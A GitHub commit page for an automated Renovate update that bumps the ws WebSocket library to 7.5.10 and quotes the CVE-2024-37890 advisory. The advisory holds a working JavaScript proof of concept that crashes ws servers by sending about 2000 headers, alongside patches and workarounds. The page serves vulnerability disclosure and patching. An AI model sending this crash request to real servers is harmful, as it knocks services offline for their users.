-
Notifications
You must be signed in to change notification settings - Fork 23
Commit 33668e9
authored
Update dependency ws to v7.5.10 [SECURITY] (#259)
[](https://renovatebot.com)
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [ws](https://togithub.com/websockets/ws) | [`7.5.7` ->
`7.5.10`](https://renovatebot.com/diffs/npm/ws/7.5.7/7.5.10) |
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2024-37890](https://togithub.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q)
### Impact
A request with a number of headers exceeding
the[`server.maxHeadersCount`][] threshold could be used to crash a ws
server.
### Proof of concept
```js
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
```
### Patches
The vulnerability was fixed in [email protected]
(websockets/ws@e55e510)
and backported to [email protected]
(websockets/ws@22c2876),
[email protected]
(websockets/ws@eeb76d3),
and [email protected]
(websockets/ws@4abd8f6)
### Workarounds
In vulnerable versions of ws, the issue can be mitigated in the
following ways:
1. Reduce the maximum allowed length of the request headers using the
[`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options
so that no more headers than the `server.maxHeadersCount` limit can be
sent.
2. Set `server.maxHeadersCount` to `0` so that no limit is applied.
### Credits
The vulnerability was reported by [Ryan
LaPointe](https://togithub.com/rrlapointe) in
[https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230).
### References
-
[https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230)
-
[https://github.com/websockets/ws/pull/2231](https://togithub.com/websockets/ws/pull/2231)
[`--max-http-header-size=size`]:
https://nodejs.org/api/cli.html#--max-http-header-sizesize
[`maxHeaderSize`]:
https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener
[`server.maxHeadersCount`]:
https://nodejs.org/api/http.html#servermaxheaderscount
---
### Release Notes
<details>
<summary>websockets/ws (ws)</summary>
### [`v7.5.10`](https://togithub.com/websockets/ws/releases/tag/7.5.10)
[Compare
Source](https://togithub.com/websockets/ws/compare/7.5.9...7.5.10)
### Bug fixes
- Backported
[`e55e510`](https://togithub.com/websockets/ws/commit/e55e5106) to the
7.x release line
([`22c2876`](https://togithub.com/websockets/ws/commit/22c28763)).
### [`v7.5.9`](https://togithub.com/websockets/ws/releases/tag/7.5.9)
[Compare
Source](https://togithub.com/websockets/ws/compare/7.5.8...7.5.9)
### Bug fixes
- Backported
[`bc8bd34`](https://togithub.com/websockets/ws/commit/bc8bd34e) to the
7.x release line
([`0435e6e`](https://togithub.com/websockets/ws/commit/0435e6e1)).
### [`v7.5.8`](https://togithub.com/websockets/ws/releases/tag/7.5.8)
[Compare
Source](https://togithub.com/websockets/ws/compare/7.5.7...7.5.8)
### Bug fixes
- Backported
[`0fdcc0a`](https://togithub.com/websockets/ws/commit/0fdcc0af) to the
7.x release line
([`2758ed3`](https://togithub.com/websockets/ws/commit/2758ed35)).
- Backported
[`d68ba9e`](https://togithub.com/websockets/ws/commit/d68ba9e1) to the
7.x release line
([`dc1781b`](https://togithub.com/websockets/ws/commit/dc1781bc)).
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/gagoar/invoke-aws-lambda).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy40MTAuMSIsInVwZGF0ZWRJblZlciI6IjM3LjQzOC4wIiwidGFyZ2V0QnJhbmNoIjoibWFzdGVyIiwibGFiZWxzIjpbXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>1 parent aeda4df commit 33668e9Copy full SHA for 33668e9
2 files changed
+8
-8
lines changed+7-7Lines changed: 7 additions & 7 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
+1-1Lines changed: 1 addition & 1 deletion
Original file line number | Diff line number | Diff line change | |
---|---|---|---|
| |||
119 | 119 |
| |
120 | 120 |
| |
121 | 121 |
| |
122 |
| - | |
| 122 | + | |
123 | 123 |
| |
124 | 124 |
|
0 commit comments